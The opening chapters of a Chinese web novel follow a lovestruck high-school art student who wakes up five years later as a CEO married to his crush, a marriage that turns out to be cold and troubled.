《一觉醒来男神成了我老婆》
1. 暗恋男神
2016年的春天似乎来得特别迟。
高三开学都一个多星期了，寒冷的冬季还懒懒散散不愿意离去。
尤其到了周末，温度更是低至零下，给人一种凛冬永至的错觉。
程想打开阳台的玻璃门，冰凉刺骨的冷风呼呼往脖子里钻，本就衣着单薄的他，没忍住打了个寒战。
“外面那么冷，开什么门，快关上关上！”正在餐桌摆盘的卷发少年看到后，忙跑过来把半开的门拉上，嘴里抱怨道，“屋里有地暖你感觉不到冷，我们几个在来的路上，可差点冻成冰雕。”
这话，当然过于夸张，但外面的确寒气逼人。
跟他一同过来小伙伴们，也笑嘻嘻地附和：
“就是，冷得很，要不是来找你，我都不出门。”
“是很冷，不过我是因为有好吃的才来的。”
“我就不一样了，我是为了看狗狗的男神才来的。”
程想长着一双眼尾下垂的狗狗眼，还有着天生的微笑唇，神似天使狗狗萨摩耶。
他的微博名和Q.Q名又叫“快乐小狗”，所以小伙伴们有时候会叫他“狗狗”，或者“小狗”。
他虽然没出门，也知道外面很冷，刚才开门是为了看男神到了没。
听到好友的打趣，白皙的脸庞霎时间红彤彤一片，不仅暴露了纯情男高的形象，声音里也多了几分羞涩：
“一会儿他来了你们可别瞎起哄啊，要为我保密，装作什么都不知道，不然……”
说着，他走到展示柜旁，将摆在上面的金箍棒拿到手里，摆出孙悟空经典的耍帅姿势，对面前的4人“威胁”道，“就吃俺老孙一棒！”
“嘶——”卷发少年刘浩哲猛搓胳膊，一副牙疼的表情，“程想你幼不幼稚，这么大了居然还爱cos孙悟空，这种台词说出来你不觉得很羞耻吗？”
“救命，我替人尴尬的毛病要犯了。”在场唯一的女生，也是一副受不了的表情。
“哈哈，中二少年欢乐多，咱们就宠着呗。”戴着黑框眼镜眼镜的男生，对于程想随地犯中二病的行为，反而抱着欣赏的态度。
“话说你男神不一直是孙悟空么，怎么突然换人了？莫非对方……”可以直接cos八戒的胖男生露出八卦的神色，“长得猴里猴气？”
“瞎说什么呢！”程想收起金箍棒，小心翼翼放回原位，然后才为自己辩白，“虽然都是我男神，但一个是偶像，一个是心上人，能一样吗？一会儿你们见了就知道了，我心……”
十几岁的少年到底脸皮薄，不好意思把“心上人”挂在嘴边，还是改了一个更为珍重的称呼，
“我男神长得可好看了！”
那骄傲的语气，放佛在夸自己似的。
并不存在的尾巴，也恨不得翘到天上去。
别看程想平日里中二又聒噪，但在感情问题上，保守又纯情。
哪怕是对从小玩到大的好朋友们，也守口如瓶。
要不是今天的聚会邀请了对方来，小伙伴们又实在好奇，他不会把藏了半年之久的少男心事说出来。
“哟哟哟，我怎么突然闻到了恋爱的酸臭味？”刘浩哲跟程想从小学就一起玩了，因此吐槽起损友来毫不含糊。
“有多好看啊？”女生总是更感性一些，捧着双脸好奇问道。
其他人也目光炯炯地看向大冷天，却穿着一身单薄西装的少年。
那合身又显贵气的剪裁，一看就是手工定制，绝非流水线可以比的。
虽然今天的聚会很重要，但是把自己打扮成动画片中的小王子，也过于隆重了。
可以看出，那位传说中好看得天上少有、地上难寻的男神，在程想心中的地位非同一般。
“等……等会儿你们见了，就知、知道了。”话痨的快乐小狗，在提及心上人的时候，难得的磕巴起来。
小伙伴们不约而同露出了善意的嘲笑。
咚咚——
就在屋内吵吵闹闹时，屋外突然响起敲门声。
来了！
程想心尖一紧，率先消音。
其他人听到动静，也纷纷停了下来。
一时间，屋里静得针落可闻。
砰、砰。
砰砰——
程想的小心脏，在胸腔里剧烈跳动。
“咳咳。”程想紧张地轻咳两声，向小伙伴们递去一个心照不宣的眼神，然后僵着身体往阳台横着走去。
为了方便上下学，他用存款在学校附近买了套小房子。
是一楼，虽然不带院子，但是南边阳台上开了个玻璃门。
因为不用经过门禁很方便，不仅程想，就连来找他的家人和小伙伴们，都爱走这个玻璃小门。
程想同手同脚来到玻璃门前，看到门外站的人心里稍微放松了一些。
是程铭。
他亲哥。
男神和他哥是大学室友，他哥既然到了，男神肯定也一起过来了。
一想到男神就在门外，程想仿佛被点了穴般，从脚底酥麻到头顶，眼皮也像坠着千斤重物般垂了下去，不敢再往外看。
等他废了好大力气把门打开后，却只看到哥哥程铭的双腿，不禁诧异地抬起头来：“就你自己？”
问完后，还不死心地往外四处张望。
“可不就我自己么，你也知道的，我还单着，虽然今天这么重要的日子，我也想给你带个嫂子回来，奈何我……”
程铭也是开朗外向的性格，一开口就俨然刹不住车。
程想哪有心情听亲哥胡侃，急急打断道：“我明明交代你了好几遍，你怎么不把人带过来呢？”
“咦？”程铭无辜道，“你什么时候交代过我了？又想我带谁过来？”
“你……”快乐小狗这会儿一点都不快乐了，干净明亮的眼睛还有泛红的趋势。
虽然生性乐观又活泼，但与之很不匹配的，程想是泪失禁体质。
动不动就会化身小哭包。
眼看要把亲弟弟逗哭了，程铭赶紧举双手投降：“听岚在停车，他怕你等着急，就让我先过来了。”
“……哦。”程想在眼里打转的泪水瞬间消失了，整个人肉眼可见的又变得扭捏起来。
“瞧你这没出息的样子。”是程铭把顾听岚介绍给弟弟认识的，弟弟情窦初开那点小心思，自然瞒不过他的眼睛。
“你……”程想羞赧地岔开话题，“你不觉得我今天这一身很帅吗？”
“？？？”程铭是个大直男，还真没注意到弟弟今天特意打扮了一番。
就在他搜肠刮肚寻找夸奖的词汇时，一道清冽出尘的声音在身后响起：
“嗯，是很帅。”
“！！！”虽然半年多没见，但程想一直记着男神那独特又好听的声音。
将自己从头到脚，就连头发丝都打理得一丝不苟的矜贵少年，顿时像喝了一坛陈酿般，变得晕晕乎乎起来。
皮肤也泛起粉色，从脸颊一路红到脖颈。
“听岚哥，你、你来啦。”少年不仅变成了一只醉虾，嗓音也软了下去。
啧。
程铭皱起眉头。
不仅是因为亲眼看到弟弟模样大变，还因为他听出弟弟就连声音都变了。
从清脆元气的少年音，变得甜腻又做作。
16年还没有“夹子音”这个说法，程铭想了半天，想出来一个勉强接近的网络流行词——
小奶音。
啧啧。
他这个弟弟，竟然有这么“娇”的一面，真是……
太丢人了。
尽管觉得弟弟没眼看，程铭却还是很自觉地充当助攻：“怎么光打招呼，外面这么冷，不请我们进屋坐坐吗？”
“啊，对，快请进！”面对男神，程想早忘了提前演练过无数次的绅士礼仪，只知道手忙脚乱地将人往屋里带。
要不是处在熟悉的家里，全程同手同脚的他只怕早出洋相了。
相比于他的紧张无措，在屋里布置场地的少男少女，也没有好到哪里去。
虽然来的两个人只比他们大了4岁，其中一个还是熟识的，刘浩哲几人却表现得比见到班主任还局促不安。
原因无他，实在是因为面生的那个人，也就是程想口中的男神，长得太好看了。
就像是误入凡间的精灵，清冷高贵，美得让人失去言语。
原本他们还以为被爱情蒙蔽双眼的程想，过于夸大其词了。
等见到真人后才知道，中二少年虽然热血又幼稚，却不撒谎。
怪不得称呼对方为男神，他们见了也被迷得不要不要的。
“怎么了这是？”
程铭毫不意外几个小朋友的反应，毕竟当初程想表现得更加夸张。
“我是程想的哥哥，你们不认识我啦？”
“认、认识，程想哥哥好。”刘浩哲几人回过神来，结结巴巴地打着招呼。
“这位是我室友，也是程想的……”程铭瞥了眼头顶冒烟、小媳妇一样的弟弟，笑眯眯介绍道，“老师，听岚暑假教过他两个月画画，应该算是老师，对吧程想？”
“嗯嗯，当然算了，还是恩师呢，要不是有听岚哥的辛苦指导，我哪能过了青大的美术考试，更不会有今天的庆祝聚会了。”
程想终于正常一些了，话里话外都在猛夸男神。
顾听岚虽然长着一副高不可攀的神圣模样，说话却很平易近人，也很谦虚：“那是因为你本身基础就很好，我其实也没
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教你什么。”
“哪有，你教了我很多，非常多。”程想看向男神的眼睛里，盛满了亮晶晶的小星星。
有崇拜、欣赏，还有极力隐藏的喜欢。
顾听岚性子和他的长相一样，属于清冷挂的，抿着淡色的薄唇，没有接话。
程铭担心冷场，看了眼手表，招呼大家聚在餐桌前，开始今天的庆祝仪式。
艺术院校都是提前单招。
程想过了青大的美术考试，成绩还很靠前，只要文化分不拖后腿，就能稳上。
所以周末在家里举办了了一个小型庆祝会。
刘浩哲和小胖子把提前准备好的蛋糕拿出来，摆在餐桌正中间。
这几个小伙伴有个不成文的习惯，就是每次聚会，都会买一个蛋糕。
非常有仪式感。
“这次的蛋糕是为你专属定制的，你一定非常喜欢。”刘浩哲自信满满地打开蛋糕盒，然后傻眼了。
欸？
他专门让蛋糕店做的《大圣归来》里的帅气大圣，怎么变成了猪猪侠呢？
“这……”程想盯着那个憨态可掬的红色3D猪，十分怀疑刘浩哲在故意恶搞，“是八戒吗？”
“哈哈哈——”在场的人，除了刘浩哲外，都忍不住大笑起来。
就连不苟言笑的顾听岚，也唇角上扬，露出了一抹微笑。
程想的注意力都放在男神身上，见到这如冰雪融化般的美丽笑容，当即原谅了刘浩哲。
也跟着笑得见牙不见眼。
一个小小的波折，就这么被揭了过去。
外面刮着寒冷的朔风，小小的屋内却一片欢声笑语，充满了温暖热闹的气息。
可能是这次见面的氛围太好了，给了程想莫大的鼓舞。
等高考成绩出来，确定能和男神上一个大学后，他拿上攒了一年的情书，和一大束向日葵花束，去向暗恋了一年多的男神告白。
*
“……根据上半年的销售情况和房价走势，预计下半年还会迎来一波小高峰，我认为十一开盘的明熙府，房价还可以……”
迷迷糊糊中，程想听到一个陌生男人一直在耳边絮絮叨叨个不停。
好吵。
谁把电视打开了？
虽然高考结束了，但因为超常发挥，取得了非常不错的成绩。
程想在家里依旧被当成小皇帝一样捧着。
不会有人在他睡觉的时候制造噪音。
带着不爽的心情，程想睁开了眼睛。
然后——
呆楞当场。
只见他坐在一张长桌前面，大概是会议桌。
因为桌子两边坐着身穿西装的男男女女，正对面的墙上投影着巨大的PPT。
一个年轻男人站在旁边，像讲台上的老师一样演讲着什么。
由于被巨大的震惊包裹着，虽然对方说的是中文，程想却一句都没有听懂。
他是美术特长生，这半年来因为突击文化课，压力过大，没少做噩梦。
但之前都是梦到在考场参加高考，怎么会突然梦到上班开会的情景？
人不会做超出认知的梦境。
他又没有上过班，怎么会梦到如此真实的社畜场面？
许是程想的目光太过异常，正在PPT投影前侃侃而谈的男人突然停了下来。
局促不安地站在那里，宛如不知道犯了什么错的学生。
他一不说话，其他人像是很有默契一般，也跟着将目光转向坐在主位上的程想。
霎时间，办公室内一片寂静。
而成为焦点的程想，却以为真的在做梦，在众目睽睽之下，趴到桌子上闭上了眼睛。
想要快速从梦里醒来，自然是继续睡觉了。
“……”
陡然间，气氛更加沉默了。
“程总？”就在现场像是按了暂停键时，一道甜美的女声颤颤巍巍响起。
这声音虽然轻柔，但因为就在耳边，程想又被吵醒了。
屡次被打搅睡眠，程想自然很生气。
但良好的家教不允许他发脾气，他又以为还在梦中，更不会发脾气。
“能不……”能安静点？
“程总，您要是累了会议先结束吧？”
坐在右手边的短发女生，语速飞快道。
“？？？”
程想直到这时才听清对方的称呼。
程总？
不是在喊他吧？
他的姓氏虽然不是很稀有，但也不常见。
而且对方还是看着他喊的。
一股荒诞感自心底升起，程想伸出食指指向自己，不确定地问道：
“美女姐姐，你是在喊我吗？”
2. 穿越？
“……”短发美女眼睛圆睁，陷入了诡异的沉默中。
被喊“美女姐姐”，理应心情愉悦。
但对象是头顶上司的话，那就是惊悚故事了。
短短几秒钟，她在脑海中迅速回闪这半年来的所作所为，十分担心短暂的秘书生涯就此终结。
“程总，小陈就快讲完了，要不让他说完，再结束会议？”坐在程想左手边的中年男人突然开了口。
通过他话中的内容，和从容不迫的态度，不难看出他的职位不低。
程想没有注意到这些，他的注意力都放在了手臂上。
确切地说，是身穿的衣服上。
美术生在穿衣打扮上，大多以宽松舒适为主。
程想也不例外。
但此刻的他，却穿着一身非常显成熟的枪灰色西装。
左手不仅戴着一块暴发户一般的名牌手表，无名指上还套着一枚钻戒。
如果不是左手虎口上有一颗熟悉的黑痣，程想还以为自己穿越到别人身上去了。
这个梦可真稀奇啊。
还很逼真。
要不是捏自己不疼……嘶——
程想为了验证是不是在做梦，狠狠捏了把自己。
然后疼得呲牙咧嘴。
“……？！”
几秒后，换程想抬起头睁大了眼睛。
砰！
意识到了什么，程想撑着桌子站了起来，用惊恐的目光看向一直注视着自己的男男女女。
尽管在心里一直暗示自己要镇定，但是被这么多双眼睛盯着，心理年龄只有十八岁的程想，怎么可能做到淡定自若？
“程总……”
偏偏这个时候，短发美女不嫌乱地问道，
“您怎么了？是不是哪里不舒服？”
对方语气里带着显而易见的关心，但程想却只觉得脑子要炸了。
他不断摩挲着左手虎口处的痣，拼命暗示自己不能慌，要淡定。
结果不知道是遭遇的变故太大，还是现场的气氛太压抑了，程想只觉得空气越来越稀薄，眼前的画面也开始变得摇摇欲坠。
“……程总！”
在短发美女的惊呼中，程想眼前一黑，直挺挺倒了下去。
*
再睁开眼睛的时候，程想发现自己躺在在病房里。
身上还穿着那件枪灰色西装，手腕上的表和戒指也都还在。
病床右边，也依旧坐着那位短发美女姐姐。
他收回目光，呆愣愣地看着白色的天花板，脑中一片兵荒马乱。
怎么办，怎么办？
他好像真的穿越了！！！
还似乎穿到一个有些年纪的男人身上。
在程想这个准大学生的认知里，能坐到老总这个位置上的人，起码也要三十多岁。
一觉醒来，莫名其妙大了十几岁，任谁都不能淡然处之。
这还不是重点，重点是，他穿来有段时间了，竟然没有系统之类的金手指来找他。
因为是美术生，程想高一高二的时候，课业并不重。
闲暇时间除了画画外，便是看网络小说打发时间。
关于重生、穿越的小说看了不少。
这些小说都有一个共同点，那就是主角无一例外都带有一个叫“系统”的金手指。
他的系统怎么还不出现？
没个新手指引，他怎么拯救世界？
呃……
他应该是被选中的天龙人，穿来陌生世界里拯救世界的吧？
因为遭遇太过离奇，激发出了程想的中二之魂。
在还没弄明白现状之前，就先给自己安了个救世主的身份。
“程总，您这会儿好点了吗？”
短发美女名叫王诗曼，职位是总裁秘书。
在程想晕倒后，跟着一起来到了医院，负责看护顶头上司。
程想还在等待系统跟自己接头，不敢贸然搭理身旁的美女姐姐。
王诗曼虽然只跟在程想身边半年，却知道这位顶头上司脾气喜怒无常，很不好伺候。
遭到冷遇不仅不气馁，还自顾自继续说道：“医生已经给您检查过了，初步判定您是劳累过度，所以才会突然晕倒。我把您的情况告知给顾先生了，他知道您住院后，立即买了车票，大概今晚六七点就能赶过来。”
顾先生？
听到这个刻在心里的姓氏，程想终于忍不住开了口：“哪个顾先生？全名叫什么？”
“……”哪知这么一个简单的问题，却把王诗曼给问住了。
不怪她不吭声，实在是她这位顶头上司不仅私生活混乱，和另一半的关系还闹得非常僵。
她这个小秘书夹在中间，没少受无妄之灾。
因此在关于相关问题上，不敢随便回答。
谁知道是不是两人又吵架了，脾气暴躁的顶头上司，又拿她当出气筒呢？
要不是薪水还算丰厚，名牌大学毕业的她，早撂挑子不干了。
程想不知道王诗曼心里的弯弯绕绕，久等不到回答后，奇怪地看向她：“美女姐……呃，你怎么不说话呀？”
程想在家人和长辈面前撒娇惯了，王诗曼又一身职场精英的成熟打扮，还认为自己只有十八岁的少年，不由自主地夹着声音卖萌。
“？？？”突然听到清越明快的少年音，王诗曼眼皮一跳，看外星人一样看向躺在床上的男人。
虽然她这位顶头上司年纪不大，但也是成熟男人了。
为什么在她面前说话突然夹起来了？
虽然夹着声音挺好听的，不输有名CV的苏音，但也好恐怖。
这下子，王诗曼更不敢随便回答了。
程想后知后觉想起来自己穿越者的身份，也不敢再随便开口。
一时间，病房内变得尤为安静。
直到医生和护士的到来，才打破了这尴尬的氛围。
“病人是叫程想，对吧？”医生一进来，先看着病手上的单子确认道。
“是的。”王诗曼从凳子上站起来，回答道。
“？？？”猝不及防听到自己的名字，程想的眼睛瞪得比铜铃还大。
“怎么了？你的名字是多音字吗，我叫错了？”医生注意到程想脸上的表情，又仔细看向报告单。
“没叫错，医生。”
都说隔行如隔山，特别是面对专业的医生，王诗曼顾不上阴晴不定的上司，瞬间化身面对班主任的学生，不仅有问必答，还态度积极。
“我……”
眼前的一幕打破了程想给自己安的穿越
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者身份，他着急地坐起来，想要问个清楚。
哪知刚撑起身体，一阵天翻地覆的眩晕感袭来，然后不由自主地又跌回了床上。
“别乱动，检查出来你有轻微脑震荡，这几天一定要好好卧床休息。”医生快步走到程想身边，语气严肃地叮嘱道。
“怎么会轻微脑震荡？严重吗？”王诗曼紧张地问。
“还可以，不严重，不过得住院观察两天。”医生向稍微从眩晕中恢复一些清明的程想解释道，“听你同事说，你摔倒的时候，后脑勺磕到了座椅把手上，后来又砸在了地板上，你昏迷的时候给你做了脑CT，检查出是轻微脑震荡。你后脑勺左边现在有个小凸起，注意不要碰，等里面的淤血散开了，会慢慢变平的。”
“也可能不会变平，只要不再觉得晕眩，就没有问题，不必过于紧张。”秉持着严谨的态度，医生又补充道。
虽然医生强调了不能碰，程想还是偷偷摸向后脑勺。
果然在离左耳不远处，摸到了一块凸起。
不疼，但是头又开始晕了，程想便立即收回了手。
这个小动作并没有逃过医生的眼睛，医生见他没有什么异状，便没有多说什么。
毕竟成年人，都挺注重面子的。
医生又交代了一些注意事项，便先行离开了。
留下护士给病人输液。
眼见上司需要住院，王诗曼便给另外一个男秘书打电话，让他尽快过来。
并向护士咨询护工的联系方式。
等护士走后，王诗曼正要问程想，要不要把他的情况告诉家属，就听程想抢先问道：“请问你有镜子吗？”
“？？？”
王诗曼被问得一愣，鉴于对方语气十分礼貌，想也不想便掏出手机，将装饰在手机壳背面上的小镜子露出来，递给程想。
“谢谢。”程想道过谢后，接过手机，仔细查看自己的模样。
王诗曼以为上司担心摔破相，没在意他这奇怪的举动。
而程想在看到镜子中，那张熟悉又有些陌生的脸庞，脑袋发懵，不知道该作何反应。
大概是先入为主，尽管知道这具身体有个和自己一模一样的虎口痣，程想还是认为自己穿到了别人身上。
哪知他还是他。
不。
还是有区别的。
尽管相貌没太大变化，但镜子里的男人，五官明显更加成熟，面相也变得有些阴郁刻薄。
结合自己的身份和打扮，程想闭了闭眼，轻声问道：“今年……”是几几年？
话刚出口，想到自己手里拿的就是手机，忙止住话头，把手机翻转过来。
然后，自打醒来后一直不断破防的程想，狠狠沉默了。
因为屏保上显示的竟然是农历年份。
他不知道辛丑年是哪一年，只知道今天是9月23日，周四。
手机不是他的，他解不开锁屏，只好又还给热心的短发美女。
“今年怎么？程总，您想问什么？”王诗曼收起手机，问道。
程想一只手在输液，另一只手摸遍全身都没找到自己的手机，只好深吸一口气，艰难地开口：“请问，今年是几几年？”
此话一出，不仅王诗曼愣住了，就连推门进来的护士也呆立当场。
3. 失忆
王诗曼被这个问题惊到了，求助地看向护士。
接收到求救信号，护士快步走到病床边，一边认真观察程想的神色，一边柔声回答：“今年是2021年，9月23日，星期四。”
2021年！
瓦特！！？
记忆还停留在2016年暑假的程想，脑袋“嗡”得一下炸开了。
现在是2021年，2021年……
好家伙，竟然一下子穿越到了5年后！
怪不得他会穿着成熟，还上班了。
5年后的他都毕业一年了，可不得上班么。
等等……
他现在也才23岁，怎么就当上老总了？
而且，他一个美术生，就算没能如愿从事动画行业，也应该进大厂做原画师，怎么会转行了？
不是说好的生命不息，画画不止么？
一时间，程想不知道该哀叹人生莫名其妙少了5年，还是该祭奠被自己背叛的梦想。
程想从小就是个小哭包，心理年龄还停留在18岁的他，并没有多大长进。
想着想着，不由自主落下泪来。
护士虽然见惯了大风大浪，但是看到一个大男人突然泪流不止，还哭得十分伤心，怎么也无法做到无动于衷。
而且观对方的表现，护士隐约有了猜想，更加同情起来。
王诗曼也被上司难得一见的鳄鱼眼泪给惊到了。
她并不知道是怎么回事，吓得六神无主：
“程总，您别哭了，您……”
“你过来一下。”护士去而复返是来送药的，将东西放到桌子上后，拉着王诗曼出去了。
程想只顾沉浸在悲伤的情绪中，并不知道病房里只剩他一个人了。
虽然很爱哭，但他的情绪来得快，去得也快。
等止住眼泪没多久，之前的医生带着护士和王诗曼一起回到了病房内。
王诗曼不知道从哪来借来一包湿巾，送到程想枕边：“程总，这里有湿巾。”
看来护士把她带出去，应该是交代了一些什么。
说完后，她便退到一边，只用同情的目光看向情绪平复下来的上司。
医生也了解到程想的情况，待两人对视后，语气温和地问道：“你叫什么，还记得吗？”
“记得，我叫程想。”程想虽然不哭了，但是声音还哽咽着，听起来十分让人心疼。
医生语气更加柔和，像是对待小朋友一样又问：“多大了？”
“……”程想已经算出如今的年纪，却还是按照记忆回道，“18。”
即使早有心理准备，医生眸色还是一沉：“家住哪里，在哪儿上学，还有印象吗？”
“我家住在梧桐路云庭小区，高中上的三中，我是艺术生，大学考上了青大美术系，我……”
程想说着说着，又想哭了，
“我最后的记忆停留在2016年6月26号，25号高考成绩出来，我26号出门找……找朋友去了，然后再睁开眼，就发现自己在一个办公室里。”
“什么样的办公室？”
程想便把睁开眼看到的那间办公室，简单描述了一遍。
医生一边听，一边在手中的笔记本上记录着什么，之后又问了程想一些简单的生活常识。
发现都对答如流后，语气轻松地安抚了程想几句，便和护士一起离开了。
看来应该是商量方案去了。
他们一走，王诗曼便迫不及待来到程想身边：“程、程总，你的情况要不要告诉顾先生？顾先生就是您的爱人顾听岚，您还记得他吗？”
这次，不用程想询问，她便懂事地给出解答。
“你说……嘶，好晕——”
接连的打击之后，终于听到一个振奋人心的好消息，可惜身体不争气。
程想抱着不断旋转的脑袋，痛苦地呻.吟起来。
见状，王诗曼赶紧按床头的呼叫铃，喊护士和医生过来。
*
正所谓人逢喜事精神爽。
得知和男神不仅修成正果，还领证结婚后，程想的头便不怎么眩晕了。
但脑袋毕竟是重要部位，医生还是让程想一直躺着不要乱动。
就连拍片检查，也是护士们直接推着病床送他过去的。
等到了下午4点多，程想才被推回病房。
他的手机落在公司了，又因为近乡情怯，也不好意思借王秘书的手机给男神打电话。
而且男神在外地出差，正在赶回来的路上，不方便打扰。
程想像个害羞的小媳妇一样，把自己包裹在被子里，只露出一双眼睛，扭扭捏捏地向知情人打听自己和男神的恋情：
“我和、听岚哥的事情，你都知道呀。”
真是想不到他还挺爷们的，竟然敢公开出柜。
得知上司失忆了，又一改暴君脾气，变得温和又有礼貌，王诗曼很乐意跟处处透着少年气的男人聊天：“当然了，你和顾先生是夫夫，他又是公司的二老板，你们的事情全公司上下都知道。”
还有极少数人知晓，这两人的婚姻生活过得一地鸡毛。
“夫夫？”程想肉眼可见得现出狂喜的神色，像是怕惊扰什么，小心翼翼问道，“你的意思……难道是我、我和听岚哥……在、在国外结婚了吗？”
“不是，20年国内通过了同性婚姻法，你们好像是第一批领证结婚的。”
哇。
好浪漫。
终于听到一个满意的事情，程想捂着发烫的脸颊，笑得像个200斤的傻子。
“嘿嘿，嘿——”
许是太开心了，一个没忍住，笑出了声。
王诗曼本想装作没听到，但那笑声太欢乐了，她也被感染了好心情，大着胆子问：“程总，原来你高中就和顾先生认识了啊？”
你们谁追的谁？
要不
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是即时记起自己打工人的身份，王诗曼差点当着上司的面八卦起来。
“嗯嗯，我们很早就认识啦，算是青梅竹马。”
虽然严格说起来并不算。
但程想就是想这样定义两人的关系。
哦对了，现在他们是夫夫。
合法还有结婚证！
天呐天呐，他居然和男神结婚了！
怪不得他左手无名指上戴着个钻戒，原来是婚戒！！
即使过去了几个小时，程想依然没从这个天大的惊喜中缓过神来。
想到顾听岚手上也戴着个一模一样的戒指，心里美得直冒泡。
就在他打算再跟秘书姐姐打听些什么的时候，对方手机忽然响了。
王诗曼的手机一直拿在手里，看到屏幕上的来电名字，噌得站了起来。
“是顾先生的来电！”她激动地指指手机，然后开了免提。
王诗曼是见上司失忆后，罕见地表现出对顾听岚情根深种的模样，便存了私心想让他听听对方的声音。
而且估摸着时间，对方应该也快到了。
哪知接通后，一道犹如雪山上万年不化的冰雪一般清冷的声音，漫不经心道：
“王秘书，我临时有事，今天赶不回去了，你跟程总说一声吧。”
顾听岚打这通电话应该只是通知一声，因为说完后，便径自挂断了。
徒留竖着耳朵倾听的两人面面相觑，半天都没有反应。
其实王诗曼并不意外顾听岚会临时变卦。
上次，也就是几个月前，她刚入职不久，程总就因为手腕骨折，进了医院。
她从另一个男秘书张宇晨那里，听到一个十分炸裂的小道消息。
那就是程总骨折并不是意外，而是和家里那位打架，不小心扭断的。
“程总和顾先生并不如表面上那样恩爱，私底下两人经常争吵，甚至大打出手。”
张秘书的原话，给初入职场，对爱情有诸多憧憬的王诗曼，当头泼了一盆凉水。
以至于都工作大半年了，王诗曼一点谈恋爱的心思都没有。
要知道，她当初可是打算找到工作后，就立马脱单的。
而满怀欣喜的程想，在得知不能很快见到男神后，顿时变成了一只失去梦想的咸鱼。
不过，他没有颓废太久。
良好的家教和乐观的心态，让他很快又振作起来。
注意到身边的女生一直陪着自己，程想很不好意思道：“王、王秘书，你也在这里陪我很长时间了，我没事了，你回家休息吧。”
王诗曼又坐回凳子上：“我等赵秘书来了再走，他联系到护工了，还把您的手机从公司带过来了。”
“好，谢谢，真是麻烦你们了。”
面对语气温柔，又彬彬有礼的上司，王诗曼在感到心情舒畅的同时，突然萌生出一个荒谬的想法：
要是上司一直失忆了该多好啊。
4. 离婚
程想清楚记得自己是先失忆，后磕到头失去意识的。
但出来的检查报告，却显示他是因为磕到后脑勺，导致血液淤积脑神经，出现了失忆症状。
比起小说里才有的穿越情节，当然是失忆更具有科学依据，也更让人信服。
而且人在遭受重大伤害后，会自动开启保护机制，刻意忘记当时的情景。
程想都不记得自己是怎么晕倒的，对于他的描述，医生持保留态度，更相信精密仪器检测出来的结果。
在医院观察了两天，除了实在想不起来这五年的事情外，程想没再出现其他症状。
他急着回家，医生便准许他出院了。
在张秘书的陪同下，程想回到了现在的家。
也就是他和男神的婚房。
内心还是中二少年的程想，更愿意称之为爱巢。
他失忆的时机非常不巧。
男神顾听岚正在魔都参加时装秀，得知他进医院后虽然立即请来假，半路却又被叫了回去。
这两天忙得连他的电话都没空接。
程想便打算在家里乖乖等着他回来。
也正好趁这段时间，缓一缓。
大概是一直没见到男神，对于和对方结婚这件事，程想始终没有真实感。
张秘书将程想送到地方就走了。
非常有分寸感。
虽然医生再三告诉程想，记忆会慢慢恢复的，让他不要着急，在家好好休息。
他却很清楚，自己的情况不是失忆。
但他又没有穿越的证据，再说了，哪有人穿自己的？
穿回过去，改变未来的命运还说得过去。
穿到未来，那不是只能面对既定事实，无能为力么？
不过……
他挺喜欢自己的未来的。
嘿嘿。
一想到把男神追到手了，快乐小狗高兴得猛摇尾巴。
再也没心思计较发生在身上的离奇事件。
程想先在玄关换上拖鞋，然后怀着紧张期待的心情，往屋里走去。
他住的应该是大平层，一梯一户或者一梯两户，南北通透，户型方正。
程想高中时在学校附近住的那套小房子，就是他自己做主买的，对于房子格局什么的，还是有些了解的。
这套房子户型舒适，装修得也很漂亮，唯一美中不足就是楼层太高了。
居然在27楼。
说出来有些丢人，他有点恐高。
三楼对他来说都算是高层了，要不然也不会买一楼住。
怎么自己长大后，竟然买了这么高的楼层？
难道是要挑战自己？
还是男神喜欢高楼层？
正想着男神，程想就看到了对方……的照片。
那双眼尾下垂的狗狗眼，陡然瞪得比铜铃还大，一眨不眨紧紧盯在客厅的墙壁上。
只见原本应该是电视墙的地方，挂着一副巨大的、几乎将整个墙面占满的相框。
这不是重点，重点是相框里的照片，是他和男神的合照。
两人穿着喜庆的红色唐装，亲密地依偎在一起，背后是一个大大的囍字。
一看就是结婚照。
好家伙，现在的结婚照，可以做得这么夸张么？
程想不敢置信地揉揉眼睛，然后飞速去到跟前。
这张结婚照实在是太大了，离近了需要仰起头观看。
程想的视线，牢牢锁在右边的顾听岚身上。
照片上的男神，比记忆中要成熟一些。
本就漂亮得出尘脱俗的美人，经过岁月的沉淀，变得更加耀眼夺目。
程想赶忙看向右边。
果然，比起漂亮得不似真人的男神，照片里的自己看起来平平无奇多了。
程想看着梳着大背头、不苟言笑的自己，在内心疯狂吐槽——
都抱得男神归了，竟然面上还装得跟个大尾巴狼似的，笑都不笑一下。
这也太装了。
strong哥。
看看，男神就笑得很好看。
不知道是被红色背影映衬的，还是被幸福环绕着，程想觉得男神看起来不再那么高高在上、难以接近，眼角眉梢坠着显而易见的暖意。
就连嘴角微笑的弧度，也明晃晃地透露着喜色。
看着这张照片，程想心脏止不住狂动起来。
这样的男神，更加让他心动。
呜呜——
他又恋爱了～
程想像是见到偶像的迷弟一样，抱着相框不撒手。
也是这一动作，让他发现巨大的结婚照旁边，还挂着一个长方形的小相框。
程想一开始以为是装饰。
仔细看才发现裱在里面的是一封信。
熟悉的字体，和羞耻到不敢看再第二遍的内容，竟然是他当年写给男神的情书。
情书、结婚照……
救命！
程想突然有种被公开处刑的错觉。
这尴尬程度，不亚于在大街上裸奔。
程想第一反应就是想把装着情书的小相框拿下来。
咔哒——
就在这时，开门声突然响起，紧接着有脚步声由远及近传来。
程想本能地扭头看过去。
宛如梦境一般，照片上的人活生生出现在了眼前。
程想一个猝不及防，差点高高蹦起。
对方似乎也吓了一跳，停下脚步愣在原地。
时间在一刻，仿佛静止了似的。
大概过了几秒钟，程想首先反应过来。
天生上翘的唇角高高扬起，朝着就算是站在逆光里，也闪闪发光的人飞奔过去。
男神，他的！
嘿嘿——
兴奋不已的程想，想来一个爱的抱抱。
结果连对方的衣角都没碰到，便被大力甩了出去。
“嘶——”
后腰撞在沙发扶手上，钻心的疼痛从磕碰处直窜到头顶，程想的冷汗当即便下来了。
“呜呜，听岚哥，我好疼呜呜……”
程想还没弄明白是怎么回事，先习惯性撒起娇来。
顾听岚不仅是他的暗恋男神，还是哥哥程鸣的同级室友。
在对方面前，他总是会忍不住撒娇卖萌。
现在他们又成了夫夫，还没从18岁转变过来的程想，毫无心理负担地做出幼稚的言行。
二十多岁的成熟男人，声线会比少年期低沉。
所以当程想无意识地夹着声音说话时，顾听岚也在第一时间发现了。
他不像秘书王诗曼那样，对装少年音的程想抱着礼貌宽容的态度，而是不适地蹙起眉头，冷冷地上下打量跌坐在沙发上的男人。
片刻后，也不知道他看出了什么，转身又回了卧室。
“听岚哥……”
